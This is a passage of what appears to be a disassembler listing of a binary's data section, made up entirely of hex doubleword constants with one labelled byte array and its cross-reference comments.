		dd 3A246051h, 100A6E2h,	721EA8F6h, 0FF04A54Dh, 637BF7FAh
		dd 5DC400FAh, 6F270AE0h, 339B6803h, 0A0E7DAB4h,	0D9B278h
		dd 9C888A3Ah, 0EA0272BFh, 3BA87F00h, 4F3DCF65h,	8D513A7Ah
		dd 0EB73450Eh, 3ECC5D60h, 0FDE257E8h, 5B38358h,	0FC2E87C0h
		dd 0BCFBC002h, 0C4988AF2h, 0C50D4400h, 7A5625h,	0F4CA69D1h
		dd 0C322EB48h, 0F0A90E29h, 9B40F01Dh, 7A87EA90h, 779333E5h
		dd 210B1808h, 0FD9B7DAAh, 96529B00h, 8A0E0692h,	0AB864C58h
		dd 0F77FCC4h, 3AF16F5h,	13482860h, 0C8181CEBh, 369039C0h
		dd 0FA5F15F2h, 4400E859h, 0D1702C90h, 0B619CD1Eh, 0AC0826A7h
		dd 801BC180h, 0B80F1D2Ch, 0FC585102h, 6E12271h,	37B09910h
		dd 0ECD6A0A9h, 4D003808h, 60FDCE73h, 0E447A3CBh, 0F8BA0027h
		dd 3CBFD34Bh, 0AE0005F1h, 0F6BD687Eh, 18267C16h, 49AD883Bh
		dd 0B2000AE2h, 6AB9C3Dh, 7418436Ch, 219EEF05h, 9DB28588h
		dd 94CB823Ch, 0D8CBA6E0h, 3EB7A606h, 29C10Dh, 0F40F6A9Bh
		dd 9EAE42C6h, 8890A455h, 60B78270h, 9C34B201h, 91050321h
		dd 0B6D00C6h, 0DBBC9AB2h, 1F51C9D9h, 25CB7C01h,	0CA108080h
		dd 762806D0h, 9F7700DDh, 0D1CF472Ah, 1600D8B4h,	0B80C3848h
		dd 35B9260h, 35C49C54h,	7C90F9ABh, 176753B0h, 2D60227Eh
		dd 288EEBh, 5BDA9380h, 52379471h, 0D000FA77h, 0F7E8E461h
		dd 0FC6C639Dh, 37EAE670h, 40387BB6h, 31D08DB1h,	8F36B300h
		dd 0F0BC7D9Bh, 81E7002Ah, 32508A11h, 3B1C719Ah,	0E8C8218Eh
		dd 884A0C2Eh, 2D0CB148h, 5140A222h, 590963D0h, 7DB86127h
		dd 0CDE6B3F3h, 31CCF900h, 64107174h, 0A02D0338h, 0E99207F4h
		dd 204D1800h, 978FF0A5h, 914A2047h, 37B2CC00h, 5368EE44h
		dd 21CCE5B4h, 7044A030h, 0B99300A4h, 0B4A23745h, 8F1989DEh
		dd 5E58E9D7h, 239B4C40h, 4D160F0Bh, 95800FAFh, 0DBA3F8C6h
		dd 147238h, 31F275B6h
		dd 0FC6D74A0h, 31307647h, 0A8A1E284h, 8D198070h, 0D854506Ah
		dd 6C8100ADh, 0B031CB82h, 0BBF285E1h, 4D703300h, 0B1203B9h
		dd 59C601A8h, 0DA5EF66h, 13E3F47Dh, 5465CAECh, 42F5311h
		dd 0EF4BA0C3h, 0BA651000h, 5F077040h, 0F56403FBh, 0A9476E54h
		dd 0F7A0809Fh, 28CEE973h, 3EA0BD56h, 32409917h,	84F3A044h
		dd 42789422h, 9FEA1103h, 0B27F4474h, 883F7144h,	9D01BF55h
		dd 1063D64Fh, 0B57049E1h, 0FA6E0777h, 0A008F6D3h, 0D6E67020h
		dd 0D7A4D800h, 40863328h, 0F7EC0010h, 976782DDh, 98000172h
		dd 0FE84EDFh, 52BDA6h, 0EE5E5647h, 3119D094h, 182C6200h
		dd 0BB6849F7h, 8CC8FF2Bh, 1A080015h, 0D121511Dh, 8F002E06h
		dd 7DF6A067h, 0F37A6F1h, 5B4C092Ah, 41C87B00h, 12054AFCh
		dd 0E743C96Ah, 0E16FB040h, 75F04AEh, 10333BF4h,	0BAB2C018h
		dd 0E7009528h, 0EE67133Dh, 70DC7E5Dh, 5AF500B8h, 816C9A27h
		dd 9900AC25h, 0AEF40B11h, 0FE9E0A2Bh, 521D187Dh, 0ED4D1278h
		dd 0E6A43900h, 1CBCB56Bh, 0EEB3005Fh, 0B9501BDCh, 7CECFC5Bh
		dd 655850A0h, 0FEA5981h, 132832A0h, 10004E8Eh, 473CFF27h
		dd 0DF8112h, 0FC367FBBh, 13682844h, 0E2198900h,	5059BD69h
		dd 3B10CE6Fh, 0CF208AAFh, 85CAFF3Ch, 97E9EC03h,	0C0FE9A9Bh
		dd 13ADA757h, 10ACF787h, 0F807A8FAh, 0DBC095DFh, 5CF16287h
		dd 3005628h, 3CE57344h,	0CA1AE21h, 4C199E5Ch, 70009A68h
		dd 3EBDE2CEh, 0E32A72Ch, 0CD95E3F3h, 942E446Eh,	0A6D0BF00h
		dd 0AA03250Dh, 7BCE3396h, 0E288F83Fh, 12E302D4h, 39E00865h
		dd 52EAF160h, 14430500h, 0CACD44A1h, 23102A7h, 0AF34BB03h
		dd 0A3CD887h, 13FD01E4h, 0CC71FF81h, 0F2003704h, 99B78903h
		dd 9417D0h, 0D45C021Eh,	0E844F921h, 61367A02h, 0E3CD8339h
		dd 6B3CC82Dh, 0CF6A0023h, 91F86FA5h, 0A30048C3h, 0AE46F0EBh
		dd 0E8D5C7D4h, 2D590015h, 0D0ED81C8h, 7B0002D7h, 0E5300C24h
		dd 0FA965763h, 8FFE01BCh, 0FA198DAFh, 3E43D491h, 905BD500h
		dd 6FB7037Ch, 947D0016h, 0DEDDE676h, 0B9031288h, 70A4686Eh
		dd 17F89938h, 2BB5C4h, 2CD490EBh, 20EEF64h, 989A5802h
		dd 69A3537Dh, 25E43714h, 0C943008Eh, 6DB5E3D2h,	4A04CFF6h
		dd 33D88460h, 0CB000287h, 588C7F66h, 8700B338h,	5230B897h
		dd 2A30C64Ch, 0F7E4B0BDh, 0EF767Dh, 0AF812C48h,	2B78B344h
		dd 0B13BF803h, 0E2CC24B7h, 71F6E016h, 9FB82Dh, 0D81F2694h
		dd 3CCED184h, 0CB1CDB00h, 0FB458B85h, 159F00F1h, 0F658F587h
		dd 0F800D3C5h, 1C551AE6h, 1D723BFh, 434DD6A1h, 0C80E93E9h
		dd 1F000AEDh, 6CDF90F3h, 514259h, 27CA7F2Ah, 28BC99B8h
		dd 0DAAED300h, 0FCCCFEEFh, 187D000Eh, 74D1855Dh, 50000FB3h
		dd 0D99EA934h, 3C2728ACh, 9F008ABDh, 0ADE304C4h, 0C036A8Fh
		dd 15E5B8A6h, 409CEAD4h, 0EF435Eh, 66E60A3h, 7EAF3B76h
		dd 4889CE00h, 807521ABh, 40AD0053h, 95C8A25h, 130065BAh
		dd 0C7CE013Ah, 0E0EF034h, 36D018D5h, 1A975060h,	0EE005F6Eh
		dd 8CA0969Bh, 7D691006h, 8E733CB6h, 0C5E93000h,	0F046D4D9h
		dd 1985F200h, 0E1A65872h, 151F0054h, 23EDB6B2h,	0E0F0A0EFh
		dd 0A270E400h, 83A8AB16h, 7B7004Ah, 8A93BDD0h, 87269532h
		dd 1E1D5052h, 0C7979C80h, 1CFA5622h, 802C8F34h,	0A5D05146h
		dd 1500A3C3h, 6F4C02C4h, 0CC81E8h, 0D9A11065h, 0C0674475h
		dd 305D3800h, 0EB1BA79Ch, 12E709F8h, 0CD83D4C6h, 65F0260Bh
		dd 6E004ED7h, 40104DA7h, 2D3984h, 0F7B7218Ch, 93B81BA4h
		dd 743A0702h, 40AE1A46h, 1EEF677h, 7B56AC20h, 0F889168Eh
		dd 5300D030h, 998CE99Eh, 3BE50AD5h, 4F80ABF0h, 9102436Eh
		dd 1F03D47Fh, 0CFC19755h, 8BBFD0D6h, 602D002Eh,	0D41C44D0h
		dd 740046E5h, 67A8F288h, 2CFDD362h, 6E043Fh, 0C2361F31h
		dd 8FA0A686h, 73E4BADFh, 7C99FC09h, 156C202Eh, 9F6467h
		dd 723F6DB2h, 5988FD61h, 0F91ED77Fh, 9340EBDBh,	2169248Eh
		dd 5C5F1D82h, 3104FB53h, 0C0227B3Eh, 0B53AE14Ch, 328E3300h
		dd 0AEC3FF43h, 0B3810F6Dh, 4DA00874h, 0E4262EC2h, 99536F00h
		dd 66847822h, 271F005Eh, 61A30BF5h, 8300E849h, 86ED9ECAh
		dd 1F4F9170h, 80EC65D9h, 0EAE0A923h, 2A00AD0Fh,	7A9FBD89h
		dd 7F084134h, 51263E1Fh, 0D6F0680h, 876C548Ah, 0CFD16E0Eh
		dd 0C071CF7Fh, 73B736CEh, 3DD493FAh, 8C0F2200h,	27653EC1h
		dd 2F9A5400h, 24FE0B8Ah, 0E0FC60E1h, 0CBBDD1A9h, 0C1A52D07h
		dd 45303044h, 3B43B5C2h, 0C70341C3h, 2CDDCD48h,	91BA85F0h
		dd 226D1F00h, 45F5A023h, 872939A8h, 3FC805A6h, 0C5BE93h
		dd 59492FBCh, 5B1325A9h, 541CBA88h, 203A94CBh, 2263FDDCh
		dd 109E3D2Eh, 7CCB26h, 235BFDCh, 97007B0Fh, 4BEC681Dh
		dd 0F42E40h, 0C97FBC39h, 6F243E37h, 0BACD0600h,	0F39E0C19h
		dd 3440C0CAh, 488AD7C3h, 0B165D400h, 9FAF8240h,	67EF004Dh
		dd 6F0516CDh, 0BC9A94DDh, 0FF6B3101h, 0F9878D01h, 0B3C064h
		dd 0C5352E6h, 69679523h, 0D6FAA500h, 0E405093Bh, 5EE93AFDh
		dd 8109D24Ch, 0CA0091F5h, 0C8CDD61Ch, 63008B7Fh, 1482B118h
		dd 6DDE2DAh, 0E860B246h, 0D05F80Ah, 1733AA41h, 0F508405h
		dd 53658D0h, 0C098DFh, 27B75A94h, 0D9460975h, 31748D3Ch
		dd 0C92130FBh, 0F4A452F0h, 36C700F9h, 8A2BDDB9h, 33FCFB3Bh
		dd 56E0C000h, 5B684311h, 55B9001Fh, 3C729BC6h, 0DF3D1C4Dh
		dd 0ED2101AFh, 5EC8399h, 0E397D850h, 26CCF4A2h,	6CFAF4h
		dd 85750477h, 0CE009411h, 95A91D0Eh, 3DA90B8h, 435898EDh
		dd 6780E580h, 2212B208h, 7C83A01Fh, 0A713B32Ch,	163EDAF0h
		dd 0C2D701EBh, 9C47E1A7h, 80D85539h, 587C18FFh,	1CC07400h
		dd 2DF67F0Eh, 93C700BAh, 803A6502h, 0B2471F0h, 2F801CB7h
		dd 0C8F8FB70h, 867D10h,	0C373D464h, 0DA2CE928h,	0A8B0A600h
		dd 0AB4B8590h, 22B80DF3h, 61982595h, 50998EEDh,	5CC60DFh
		dd 7D6784Bh, 0B353EBAh,	0C091C5ABh, 0D8F3E369h,	9D8D48h
		dd 57061C71h, 196F0464h, 5051755Ah, 0AC2C708Eh,	8B6E6A00h
		dd 0F52111BDh, 0BAA1003Fh, 3D2B74FFh, 0BC3AE7B6h, 0D78704B9h
		dd 3490A011h, 72C4D3h, 0F35735CCh, 60331BDFh, 0F554AA03h
		dd 0B0757CBBh, 0B7772Eh, 55C8E4ACh, 1ED2D96Dh, 6515B600h
		dd 0C9769748h, 34241DD7h, 0C2CE8018h, 0F8511E43h, 3244C600h
		dd 0DF9B887Fh, 1C3E83Ah, 56BDB1B5h, 0D4133477h,	1C0253C2h
		dd 0F260EA87h, 990603Ah, 0C08376ADh, 35C16C20h,	616E731h
		dd 2D0047DAh, 72CDCEDEh, 0FE54E4F6h, 0ED9075Dh,	0B06A8A84h
		dd 9BEBE0EDh, 83EED400h, 0B918AEE3h, 7073029Eh,	5E177271h
		dd 0EC148440h, 33F60C76h, 410783EEh, 18529F88h,	0E149BF10h
		dd 0D73C2895h, 887860BCh, 2B76B334h, 50402A00h,	0CD661A65h
		dd 373A0036h, 496AA8AAh, 91050E34h, 0E892B823h,	388B8402h
		dd 16E1E01Ah, 780B00BDh, 2C30D3E3h, 0A400A8A7h,	0CDD77C1Fh
		dd 0F9BBD8h, 1B5F8066h,	60DE0B46h, 0A4398303h, 0F0071C3Eh
		dd 0A7B694h, 32F1AA8Dh,	0A26AB58Ah, 0B890400h, 79907BAEh
		dd 234A0088h, 28BF85B4h, 9D002E6Ch, 713C5C50h, 0FF1B3Bh
		dd 16B90B45h, 3017032h,	0CC42800h, 2D7A3117h, 0E2530089h
		dd 0D3D7E4F8h, 50005EE3h, 5DD59B44h, 80AF08h, 4BA46F82h
		dd 0DCB1E956h, 0E0663802h, 4018F786h, 0EC5C7638h, 0C88C0019h
		dd 0D3328108h, 444CF396h
		dd 157D2C07h, 0BC6A4500h, 1C3F6B2Bh, 802F8CCCh,	62F0678Bh
		dd 691E3B13h, 3A478FBDh, 425460B3h, 0E18E5CD0h,	3E24E857h
		dd 1212FEBBh, 37908089h, 1676D33Ch, 0FF006098h,	0CEAFF5EDh
		dd 0EC66AD65h, 0DB920EB0h, 69EAC8F6h, 3FF103DBh, 0CD9777h
		dd 88E76CC0h, 8B0EA0C1h, 6080A4D4h, 0B712177Ah,	7F2506A5h
		dd 9032E7F7h, 60DFE248h, 6D9AF90h, 8079D7h, 54FCF996h
		dd 0B56CD6CBh, 0E5931800h, 345E05DDh, 12F401C6h, 6D752070h
		dd 790E80E4h, 0C14CE7B0h, 418700A2h, 86C3A834h,	43016C81h
		dd 0DC68E348h, 0DED41A4Ch, 677F00E1h, 152A3FA4h, 71F8C739h
		dd 1E878100h, 1B5CC192h, 27AC00FBh, 0BE458AA2h,	0CB0017BCh
		dd 470CABB0h, 10640Ah, 0AE54DFD0h, 431FDBB4h, 0F9C84E61h
		dd 0D92052C1h, 6675F4h,	0BEFA305Ch, 2960BACCh, 81396A00h
		dd 0EC8574D7h, 370A0ED9h, 1040F6F2h, 52DCC99Ah,	0F338A37Fh
		dd 0ECB780C6h, 0CDC53DE9h, 638E00CAh, 3C7D8533h, 0B5E0AA4Eh
		dd 0ECB6048h, 6361C9D8h, 88092B21h, 22ACB80h, 9AFC1D12h
		dd 5C71940Ch, 42EBB00h,	205A1F2h, 0B65A82D7h, 411039h
		dd 608B21F4h, 0DEF4E5E8h, 0C51DE909h, 1F080CFh,	19542Ch
		dd 5EED0AF9h, 79FE66ABh, 0CD551102h, 0E068B561h, 0E58F70h
		dd 0D32D150Bh, 3091951Ah, 12A4DD01h, 38B6EE4Ch,	5651D8h
		dd 2A9BBC25h, 2F160B1h,	58DD1201h, 0AFF9382Bh, 0AD411065h
		dd 0A42054F8h, 1DF30769h, 0D0B9AC51h, 0BD17E172h, 3D145C09h
		dd 7134077Fh, 360580Eh,	77501C95h, 0AD86C5Eh, 9AD0A161h
		dd 34A1F92Ch, 30011458h, 1300B39Fh, 76D29754h, 0A08A4B10h
		dd 13AA20BAh, 41AB3B72h, 45CF2CF4h, 0E870D6B1h,	0A8C2CD00h
		dd 0E2B526B0h, 0A57D0031h, 0E927F6B9h, 35003997h, 6D0FA40h
		dd 0E36CA10h, 0C09E5B6Ch, 0A025D6A7h, 5785C279h, 811E6FF8h
		dd 2A475A8Eh, 0D0D0CB97h, 0FF6DC8Ch, 7499BB77h,	0E7C1ED3h
		dd 0A406654h, 532636E0h, 0F003971h, 0F4F524D1h,	14BC65Eh
		dd 9D0E1F18h, 0FF95E3BDh, 0A10958D8h, 7E03AF78h, 0BAAD2288h
		dd 0A64A8003h, 0D2211E68h, 0D17092Ch, 47266980h, 4D0534BBh
		dd 27524441h, 20F9C80Ch, 68B079h, 78EF310h, 9404B395h
		dd 8330153Fh, 0EDFE9806h, 755480DCh, 25BFEC42h,	6080D2F3h
		dd 0E559C658h, 0BD7AC5Ch, 81CB6DE4h, 8A985F58h,	1CE04D02h
		dd 0A900D8BBh, 84517333h, 0B0D4B7C7h, 26A30080h, 0BEA06611h
		dd 31E69504h, 2000B094h, 80B9A26Bh, 30A4A45h, 0CAF0EECh
		dd 7647B8B0h, 0D2010C90h, 94CA2EF9h, 2020DF31h,	0F1540063h
		dd 76246BFBh, 8C71F545h, 1E003BF6h, 0AE44CC96h,	6650D16h
		dd 37ECC3C9h, 0D60406DBh, 0C5AAB197h, 0D85A2C91h, 0B5006036h
		dd 0DDCF0FF8h, 13050573h, 1C0E7E46h, 0B0F20CC0h, 0C7FB0E8Fh
		dd 0B80B496h, 1EFC2E1h,	7DFC224Ch, 2BF7E09h, 2C2400D1h
		dd 1796ECFCh, 986299h, 0DDB68EE0h, 6F3A9335h, 5801CF52h
		dd 0C72E0886h, 0E5DA4C70h, 0F8596C60h, 57A70099h, 0A240AE66h
		dd 0C4002CCCh, 0D94C52D7h, 3D5340Bh, 8BEC3377h,	8EA97D19h
		dd 0B71C207Ah, 117C1A00h, 725B014h, 0F33C0061h,	0FC34B662h
		dd 0C34A9A83h, 0BE7C13h, 0D9E8A5B2h, 69017F02h,	71FF805Bh
		dd 36800188h, 991A975Ah, 0E8007E98h, 72F93ED2h,	4E1B6FEh
		dd 626404D9h, 9D8CC05Bh, 0D4F45097h, 132E0C90h,	0C79CCCEDh
		dd 582B55C0h, 0F190D04h, 3D094CB0h, 0BF2F66C0h,	0FCF785AAh
		dd 0DF00F07Ah, 0EA283010h, 0CB2B40h, 0F2FF66B9h, 0EF745C80h
		dd 3714D218h, 9F8630h, 0C3B6612Bh, 0B7A4586Eh, 62C34D75h
		dd 9056DF12h, 61B4C1h, 0CA5A8175h, 0D8A929FEh, 0BA874200h
		dd 0A683C5F9h, 1D4B7D6Dh, 80C7110Bh, 0B32367FCh, 0B100944Eh
		dd 82F5AFACh, 0EEA069F1h, 5C95EEEAh, 84400CDAh,	21522F2Eh
		dd 100DB76h, 0F210E8E3h, 20640083h, 8880071Dh, 0B00045A8h
		dd 62C64209h, 57423DCh,	0C7A75915h, 4D48E07Ch, 0AD004CB0h
		dd 0A06CE58Ah, 0CFD42A8h, 0D2AF156Eh, 620011B0h, 0D6203E69h
		dd 0E102D70h, 6F9E835Ch, 0CC9A17E0h, 0FF002AF9h, 16CA95DAh
		dd 7527D3A8h, 63560194h, 4E6E5C40h, 80782066h, 0E7078A1Dh
		dd 68D1B407h, 982CA00Bh, 0C00EFBECh, 0E1327890h, 8C37B3Ah
		dd 1FD75C66h, 7D27E18h,	3F849E58h, 0F5302F47h, 0EAC2033Eh
		dd 20126F44h, 94C02779h, 58EF153h, 0C3960782h, 1EF0E012h
		dd 0B1717C00h, 0BE05A56Ah, 0C18A005Ah, 0FB38CF87h, 1802E28Eh
		dd 0E5AE80DDh, 3FA02222h, 98C617E3h, 281F5B00h,	0B19F54F5h
		dd 0D8EB00B4h, 7080F0DAh, 0AA0184D7h, 3A4E6F10h, 59C4380Eh
		dd 0D025030Dh, 0EFB6DCEAh, 0A9438200h, 732E8504h, 77E424D3h
		dd 3EA60066h, 968FE6E1h, 1A23139h, 0F0536B6Fh, 58384FA5h
		dd 612DED00h, 0C2DF90B9h, 0A778010Eh, 0E1F98CC1h, 61443B8Eh
		dd 4C5A2200h, 49741992h, 0F9F1F615h, 0E3E200B0h, 4F2A149Ch
		dd 0A28D00C5h, 300771FBh, 4D007F82h, 0D3DA6480h, 31E1877Bh
		dd 5339E6E2h, 5D22D0DFh, 0AD112167h, 8EB10D70h,	0F832079Bh
		dd 46314397h, 0C41D2115h, 0A4C10EBAh, 0FF5E45BBh, 779F1980h
		dd 0DFFEB6ECh, 0C724F106h, 0EC113A5h, 69D2892Dh, 888FB3C0h
		dd 0E6FF275h, 7C84A2A0h, 3E3263BCh, 0AD0CDA10h,	0F3A1F8E6h
		dd 56C6D500h, 12E1E27Bh, 4C09DBD7h, 0DD132000h,	0CE595EC6h
		dd 68E628C5h, 23E5000Ch, 0B934A4F0h, 640091F5h,	332275E3h
		dd 1D6604h, 5D5B16A0h, 68EEBA8Bh, 7580FB05h, 4401C712h
		dd 27DE9C02h, 4E7D1080h, 317242A9h, 579AAA0Fh, 6B3B40E1h
		dd 705FBE3h, 0C60BB7F6h, 11CC70C0h, 0C901375Eh,	0E165F13Ah
		dd 30600DE4h, 593403F8h, 9EBA5F45h, 44884FE3h, 5A006578h
		dd 0C0B22F96h, 34DBB8h,	8D89BE9Ch, 75D674ACh, 650C0B0Eh
		dd 2A2FA5A2h, 0E0292980h, 33BB0388h, 7A9EC174h,	0AB0C0AB8h
		dd 0FF90773Dh, 0B80C3A7Bh, 9EFF2D8Fh, 0B6500040h, 0D86B7859h
		dd 0F503557Dh, 91E94C4h, 0EF7C3FD2h, 5D9C6480h,	0C871FE8Dh
		dd 9EF9DB00h, 797F01A7h, 0CD210E4Bh, 0AAC0531Ch, 997037ADh
		dd 968CF300h, 8283DF35h, 6C65009Ah, 0D66940AFh,	0B658D271h
		dd 0F62900E3h, 39A9AA8Ch, 3EB3005Eh, 666E3DDh, 0BC016C60h
		dd 0C0A437D9h, 21809121h, 0FDC750F6h, 20A7848Fh, 0C1F94B08h
		dd 71AE4E35h, 8CF1C457h, 1F024F07h, 0DA41ABC7h,	0E13A2260h
		dd 2170E7CEh, 0CBBE5A00h, 15D9C5B4h, 0BF4F02F9h, 0B6AB0BBAh
		dd 993440D5h, 64AF0091h, 6A9CACF1h, 3B034F8Dh, 407F48Ah
		dd 37AA389h, 6A74A521h,	0A9B09CAAh, 0BD0653ADh,	2C87F3A0h
		dd 288C6710h, 0D59F40E7h, 10C5865Fh, 4883A4D1h,	2963D878h
		dd 6A09CC71h, 0DC063121h, 9C9B8B81h, 94220069h,	643A751h
		dd 0FC00EA0Fh, 6AB832A4h, 74C9A3CDh, 79CC144Ah,	5D11A894h
		dd 468D0A87h, 0AF01A43Bh, 0B7A1F14Ah, 4480AC57h, 38985137h
		dd 327792ACh, 0A6083AE4h, 0E9AF9480h, 0DFC51AAh, 0B731A00Ch
		dd 1FF91958h, 0FCB38Ah,	83553961h, 9EFBB4C4h, 10A4CFF0h
		dd 0EE4380A0h, 0DD007423h, 0F779ED81h, 0F4608667h, 80B53231h
		dd 22DB0046h, 0C7E1D460h, 0B9C03588h, 10093750h, 13FE895h
		dd 9D71C022h, 80F5AB2Ch, 1E061341h, 612D52DFh, 0CC0FF158h
		dd 7D818F5Dh, 36A5607Ah, 3DC2EAB7h, 0BE8019E7h,	0EB54D73Ch
		dd 700D5AEh, 50944CBDh,	0CF849E4h, 0DB23480Ah, 3600F619h
		dd 0A39932C3h, 3A5149E3h
		dd 0C530E2ACh, 0C3DEF521h, 8A2C0901h, 16779C04h, 0B4D61880h
		dd 872D2402h, 0FF587C0Fh, 0A0E1EFCCh, 3498C09Fh, 62C2003Bh
		dd 0D43DF8E5h, 0A71E9DB6h, 0A6587E1Fh, 47E740h,	0BB0325A2h
		dd 438AAA68h, 216D08CCh, 0EEBF7EACh, 7DD20FC0h,	0E04211F1h
		dd 8920E95Ch, 0F5B9D04h, 0BF20ACEFh, 218EA48Fh,	0D64B82C1h
		dd 6014FD07h, 1F060505h, 873DEC4Ah, 21A16008h, 539B317Ch
		dd 4D3BDB00h, 0A78D4981h, 51C801BDh, 4CA3B7C7h,	89284820h
		dd 52D9B08h, 4CF4C217h,	9B11000Bh, 33757FDh, 149183CDh
		dd 70F70394h, 0B23D2FAFh, 0A978B601h, 897D791Dh, 468C58A0h
		dd 3BE021Ch, 314302E9h,	56C71072h, 0EF6C00A2h, 412E3F53h
		dd 0D1504525h, 4A146FD8h, 0E66A7Bh, 51ED54ABh, 5D58D2h
		dd 0FBBFD941h, 185B2F6Eh, 0E4087E2Ah, 403D3601h, 4EF4B2C9h
		dd 0A8A21023h, 269B30h,	2C76E9A5h, 50AD5704h, 15FBAE0Ah
		dd 9401D4E8h, 24BE0AFAh, 0C3342C50h, 93992330h,	0EF4439h
		dd 1760C3DCh, 0F4DB41B7h, 0C1922300h, 0E0E60435h, 5C4A1DDDh
		dd 47317324h, 10D830CBh, 0DA00B0E8h, 85536D66h,	4A2036h
		dd 43A3165h, 25A8210Bh,	38D0F130h, 0EBE464h, 8323D4E3h
		dd 45FF0916h, 4A24EC2Eh, 92A18A01h, 240284h, 12AD00BDh
		dd 0CB315638h, 9DB897EAh, 14B3B000h, 26E2EB99h,	0C091DEE1h
		dd 63A5EAD4h, 0BE002A7Fh, 0DAFE92B5h, 0CFDE51Dh, 0BD77F94Eh
		dd 0DE90129Ch, 0B50D3F00h, 2EDED65Ah, 6CA1C0E2h, 0C45028EDh
		dd 82CF3103h, 0A3CBE9CCh, 892100D3h, 7B222905h,	4AF4C4C1h
		dd 24D249h, 432A5E98h, 0AC6C0AFBh, 0C3320FE8h, 0E2C89916h
		dd 1140BA64h, 0C818C33Bh, 1D623D00h, 83048C9Ah,	0D15491C2h
		dd 445186Dh, 0E28440D2h, 0E28487B9h, 98495F01h,	0D8F091BDh
		dd 0B1291387h, 0CCC21C4h, 0EB8388DEh, 7F4D2801h, 0E025E775h
		dd 96361984h, 4091C73Dh, 97E1F4D4h, 0F98E1D00h,	70FA1ACAh
		dd 602DE6D7h, 0FE04797Ah, 7B00AB50h, 704EA1F3h,	0F35675F1h
		dd 125F89F0h, 35322AA3h, 0B5600314h, 0D0E7EDDCh, 0D44C83C6h
		dd 0BB260D00h, 0CE4AB73Eh, 232D11AAh, 750071D2h, 49287702h
		dd 17E0A17h, 0D053926h,	7060B82Eh, 2548B331h, 2A458060h
		dd 874D1Ch, 805B2CB2h, 0B54BCE23h, 0FF501900h, 8BB32562h
		dd 1289F424h, 50E83546h, 1923CCE0h, 0EBA26101h,	2033CB02h
		dd 3B92E80h, 0B70C905h,	5597B000h, 0A1562098h, 0D4F84814h
		dd 288CADBCh, 3C819A02h, 8C9DED5Ah, 5F848028h, 31852096h
		dd 25A4D754h, 9E3980EBh, 0A04323B7h, 0A3020245h, 2811F4ABh
		dd 8A928D60h, 0AED35603h, 253547h, 0FA3DFDE9h, 0CDB8E588h
		dd 0F0DA0A2Fh, 5651C075h, 0D0943C85h, 0D9C02C91h, 3173B9Bh
		dd 3FDEAA31h, 8007239h,	7A1A595Dh, 713B73F0h, 947007Eh
		dd 1BCB399h, 0BE066051h, 5EB9F98Ah, 0A9A10028h,	1C89EC9Dh
		dd 827D0493h, 50D5D20Eh, 4055C8F6h, 0E1CDCB1Bh,	0C7116267h
		dd 4FEBEFC1h, 0AFD97180h, 0CA31033Bh
		db 54h
byte_520045	db 0E1h, 48h, 0B7h	; DATA XREF: ___:004385A0o
					; ___:004385B8o
		dd 87FC31C0h, 0B8F7903Bh, 9A6D0037h, 587573A2h,	0E22A82FDh
		dd 0E8462C15h, 923B701Ch, 2C9A1132h, 8F00B622h,	4DB03BA8h
		dd 54F0459h, 0E8402D0Dh, 5BCD8109h, 0BF97E8E7h,	0F130E554h
		dd 3B75058Ch, 23BA310Dh, 21585C5Ch, 0D63B00D4h,	150DF030h
		dd 0D06A1F82h, 306AC22h, 72BC7B42h, 1D3F41B0h, 9A987A50h
		dd 0E6FC9D00h, 68B64B0h, 186360F8h, 770F0DFAh, 0D4501507h
		dd 0D5079D32h, 218346h,	0E50F05BCh, 14172907h, 2D23AE00h
		dd 2FCC9550h, 119C00A5h, 0D762F56Bh, 0AA00218Bh, 0C5F335E7h
		dd 0E5BBB1h, 30020669h,	22A2B8FCh, 4DB39200h, 0AC0BD228h
		dd 10F300ADh, 6FF593CDh, 0EC00FF9Eh, 0EFC82548h, 8C6D69h
		dd 8D542379h, 380AE3F6h, 9E9CAA07h, 4B20FFF4h, 0A9BF50h
		dd 6422CD60h, 446F2E43h, 0D8C048h, 9935D428h, 69EE50h
		dd 8F25E892h, 0CC49D5CBh, 0E729B4C0h, 9BE285h, 36B7A593h
		dd 0EED42F7Ah, 0EF2C138h, 173CBBh, 0C62ECDD2h, 238030Eh
		dd 3FE75EC9h, 88AA5CF8h, 0C3049600h, 0F07D8EA0h, 0CE570043h
		dd 0D5C0A9C9h, 0D64E1568h, 4D9B1C80h, 0BE9E0192h, 36B8D85Fh
		dd 20EBFB29h, 12415CEAh, 0C7804482h, 7FD301ADh,	0D019DDF3h
		dd 9630ED1Ch, 77AA80E9h, 35A500F2h, 0A3563767h,	3D031580h
		dd 16079AE1h, 0CF87C8B1h, 0DA0B20A4h, 28246000h, 0FD536EEEh
		dd 801B044Fh, 40D03BC0h, 0CC8E7EC1h, 0EBF200FAh, 0F6056FF8h
		dd 65EC8F43h, 58358800h, 5C87AAFEh, 49C0A039h, 0DFCA3036h
		dd 95985140h, 3459A0A0h, 0BA0EEA79h, 0C06A9603h, 7AAAACC0h
		dd 0EE4000Dh, 810A18F1h, 1C308D9Bh, 366641C1h, 2AC601D4h
		dd 6CEB189Ah, 1684F0F3h, 0D0C00263h, 0AF22E8BBh, 3A7E58C0h
		dd 0AECB0D00h, 3BC9CABCh, 640ADFF6h, 0A0384F33h, 377DC700h
		dd 746B5C8h, 5BF0B369h,	33DCA0BAh, 0CA00408Fh, 623662Eh
		dd 396D621Bh, 0AC4EA2FDh, 5E090021h, 0E89F4A15h, 44B60012h
		dd 0D9BA6380h, 0F90786A6h, 0AA6D8491h, 8F5B0EC1h, 34353F8h
		dd 17BC5481h, 10A391B3h, 82574003h, 0E04B97DCh,	1DE8AE7Dh
		dd 0A4E9F93Dh, 8C640440h, 0D9A00C4h, 920C739h, 47802B8Eh
		dd 40858000h, 0F87921B0h, 90041D09h, 0B9FC0063h, 3A1FA7Eh
		dd 0C1F07134h, 0C0832906h, 9BA4BAA0h, 52CC090Bh, 0D20E5DA1h
		dd 33B4DE23h, 0C66CB6F8h, 16CA58h, 0AE09D08Dh, 70A5E2A4h
		dd 3900026h, 3E8AC3D1h,	0C0017A9h, 5AB3330Bh, 3C55A4E4h
		dd 8C034792h, 96563CDEh, 5DAE680Fh, 0B1F80051h,	0D5E24Eh
		dd 6B46783h, 0EC751FE5h, 5FACD803h, 843556h, 630D5030h
		dd 6D974E59h, 90CF60F7h, 51D81F13h, 39FD3200h, 0E41B47h
		dd 0D7336730h, 4292586Bh, 0F196840Bh, 803C80C5h, 0C087590h
		dd 2F343E72h, 0C283330h, 820080B3h, 0F6EBE30Dh,	0F8A78Fh
		dd 7592BFE9h, 9CFE4313h, 83A58000h, 0A48FF5D1h,	0F9FB0A77h
		dd 70203C55h, 8CB23Eh, 7D859BE7h, 4AA3D053h, 9392060h
